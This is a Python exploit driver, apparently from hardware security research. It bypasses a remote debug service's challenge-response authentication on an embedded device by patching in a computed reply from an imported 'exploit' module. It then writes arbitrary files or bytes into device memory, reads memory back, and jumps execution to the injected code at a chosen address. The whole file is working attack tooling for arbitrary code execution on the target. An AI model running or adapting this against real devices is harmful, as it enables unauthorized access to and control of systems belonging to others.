#!/usr/bin/env python3
"""Host-side rdebug driver for the visual-injection experiments.

Same challenge bypass as dwt/solve.py (it imports the same client and patches
``answer_challenge`` with dwt/challenge.respond).  The difference is that this
tool is built for a *sequence* on one TCP connection and can wait for ``jump``
to return:

    python3 dwt/visual/inject.py --poke-file 0x01840000 --file ... \\
        --jump 0x01840000 --jump-wait 5 --liveness 7

It prints the jump return value, so it can distinguish `call` semantics from a
one-way jump.  It never modifies the firmware or the ROM.
"""
from __future__ import annotations

import argparse
import os
import sys
import time

HERE = os.path.dirname(os.path.abspath(__file__))
DWT = os.path.dirname(HERE)
sys.path.insert(0, DWT)

import challenge  # noqa: E402
import exploit    # noqa: E402

_orig_answer = exploit.RDebug.answer_challenge


def _answer(self, challenge_bytes: bytes) -> None:
    self.challenge_raw = challenge.respond(challenge_bytes)
    print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
    print(f"[+] reply     {self.challenge_raw.hex(' ')}", flush=True)
    return _orig_answer(self, challenge_bytes)


exploit.RDebug.answer_challenge = _answer


def main(argv: list[str]) -> int:
    ap = argparse.ArgumentParser(description=__doc__,
                                 formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--host", default="192.168.99.2")
    ap.add_argument("--port", type=int, default=771)
    ap.add_argument("--timeout", type=float, default=10.0)
    ap.add_argument("--poke-file", type=exploit.parse_int)
    ap.add_argument("--file")
    ap.add_argument("--poke", type=exploit.parse_int)
    ap.add_argument("--hex")
    ap.add_argument("--peek", type=exploit.parse_int)
    ap.add_argument("--len", type=int, default=16)
    ap.add_argument("--jump", type=exploit.parse_int)
    ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[])
    ap.add_argument("--jump-wait", type=float, default=5.0,
                    help="seconds to wait for jump to return (0 = don't wait)")
    ap.add_argument("--settle", type=float, default=1.0,
                    help="seconds to wait after a non-waiting jump")
    ap.add_argument("--liveness", type=int, action="append", default=[],
                    help="send opcode N after the jump (repeatable)")
    ap.add_argument("--liveness-wait", type=float, default=1.0)
    ap.add_argument("--after-peek", type=exploit.parse_int)
    ap.add_argument("--after-len", type=int, default=16)
    ap.add_argument("--sleep", type=float, default=0.0, help="sleep before closing")
    a = ap.parse_args(argv[1:])

    rd = exploit.RDebug(a.host, a.port, a.timeout, False)
    try:
        rd.connect()
        # Establish the challenge with a liveness opcode, then stay on the
        # connection.  (opcode 7 is >= 2, so it triggers dwt_prf once.)
        flag, payload = rd.liveness(7)
        print(f"opcode 7 -> flag={flag:#04x} payload={payload.hex(' ')} "
              f"({payload!r})", flush=True)

        if a.poke is not None:
            data = exploit.parse_hex(a.hex or "")
            rd.poke(a.poke, data)
            print(f"poke {a.poke:#010x} <- {data.hex(' ')}: ok", flush=True)
        if a.poke_file is not None:
            data = open(a.file, "rb").read()
            off = 0
            while off < len(data):
                chunk = data[off:off + exploit.MAX_XFER]
                rd.poke(a.poke_file + off * 8, chunk)
                off += len(chunk)
            print(f"poke-file {a.file}: {len(data)} bytes at "
                  f"{a.poke_file:#010x}: ok", flush=True)
        if a.peek is not None:
            data = rd.peek(a.peek, a.len)
            print(f"peek {a.peek:#010x} ({a.len}) -> {data.hex(' ')}", flush=True)
        if a.jump is not None:
            if a.jump_wait > 0:
                res = rd.jump(a.jump, a.arg, wait=True,
                              wait_timeout=a.jump_wait)
                if res is None:
                    print(f"jump {a.jump:#010x}: NO RETURN within "
                          f"{a.jump_wait}s", flush=True)
                else:
                    print(f"jump {a.jump:#010x}: returned {res[0]:#010x} "
                          f"({res[0]}) payload={res[1].hex(' ')}", flush=True)
            else:
                rd.jump(a.jump, a.arg, wait=False)
                print(f"jump {a.jump:#010x}: sent (no wait)", flush=True)
                time.sleep(a.settle)
        for op in a.liveness:
            try:
                flag, payload = rd.liveness(op)
                print(f"post-jump opcode {op} -> flag={flag:#04x} "
                      f"payload={payload.hex(' ')} ({payload!r})", flush=True)
            except Exception as exc:  # noqa: BLE001 - report, don't hide
                print(f"post-jump opcode {op}: FAILED: {exc}", flush=True)
                return 3
        if a.after_peek is not None:
            data = rd.peek(a.after_peek, a.after_len)
            print(f"after-peek {a.after_peek:#010x} ({a.after_len}) -> "
                  f"{data.hex(' ')}", flush=True)
        if a.sleep:
            time.sleep(a.sleep)
        return 0
    except (OSError, exploit.ProtocolError, ValueError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2
    finally:
        rd.close()


if __name__ == "__main__":
    raise SystemExit(main(sys.argv))